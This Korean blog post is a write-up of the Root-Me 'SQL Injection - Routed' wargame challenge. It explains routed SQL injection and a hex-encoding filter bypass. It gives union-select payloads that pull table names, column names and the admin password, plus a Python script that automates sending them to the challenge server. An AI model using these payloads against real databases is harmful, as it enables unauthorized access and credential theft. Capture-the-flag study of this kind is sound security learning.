ROOTME] SQL Injection - Routed

노션으로 옮김·2020년 3월 23일
0

wargame

목록 보기
22/59
post-thumbnail

문제

Home과 Search 페이지가 존재한다.
Search 페이지에서 검색창에 아이디를 입력하면 해당 아이디에 대한 number id 값과 email값을 출력해준다.


풀이

제공해준 문서 - Routed sql injection를 보면 Routed SQL Injection에 대해서 이해할 수 있다.

Routed SQL Injection

간단히 하나의 쿼리의 결과값으로 다른 쿼리를 조회하는 로직이며, 우리는 1번째 쿼리에 Injection할 수 있는 상황이라고 가정하자.

union select가 인젝션 가능할 때, 우리는 1번째 쿼리의 결과값을 조작할 수 있으므로, 이 결과값이 사용되는 2번째 쿼리의 결과값을 제어할 수 있는 것이다.

문제에 적용

문제의 구조는 다음과 같다.

우리가 검색할 때 사용한 단어가

select num_id from chall where id = [입력한 값]

이 첫 번째 쿼리에 사용되고,
여기의 결과값 num_id

select email from chall where num_id = [1번째 쿼리 결과]

이와 같이 2번째 쿼리에 사용된다.

union select injection

우선, 검색창에서 입력되는 1번째 쿼리에 대입되는 값은 많은 필터가 적용되어있다.
그래서 다음과 같이 2번째 쿼리에 대입될 값을 평문으로 입력하면 필터에 걸리게 된다.

' union select [' or 1=1 -- ]

우회

하지만, union select의 결과가 2번째 쿼리에 대입된다는 사실을 생각해보자.

우리가 0x헥스값...의 형태로 인젝션 시켰을 때 그 값이 문자열로 반환되서 2번째 쿼리에 사용되고, 결과적으로 우리는 필터를 우회하여 쿼리를 입력할 수 있게 된다.

페이로드

최종적으로 다음과 같은 페이로드가 사용된다.

테이블 이름 얻기

' union select 1, table_name from information_schema.tables where table_schema = database() limit 0, 1 -- 

속성명 얻기

' union select 1, column_name from information_schema.columns where table_name='users' limit 0,1 -- 

패스워드 얻기

' union select 1, password from users where login = 'admin' -- 

부록

매번 헥스값 변환하기가 귀찮았다.
그래서 다음과 같이 파이썬으로 키보드 입력을 헥스값으로 변환시켜 전송하여 실시간으로 확인할 수 있는 도구를 만들어 풀었다.

import requests

url = 'http://challenge01.root-me.org/web-serveur/ch49/index.php?action=search'



qr = '\' union select {yours} -- '
while True:
    yours = raw_input('[['+qr+']]'+'\nyours query is will be converted to hex\nquery> ')
    payload = qr.replace('{yours}', '0x'+yours.encode('hex'))
    print 'query was sent :'
    print payload
    datas = {'login': payload}

    res = requests.post(url, data = datas)

    if res.text.find('Results') != -1:
        print '############################################'
        
        print res.text.split('Results</legend>')[1].split('</fieldset>')[0]
        print '############################################'
    else:
        print res.text
        print '\n\n\n'

        print 'Not bad...'

0개의 댓글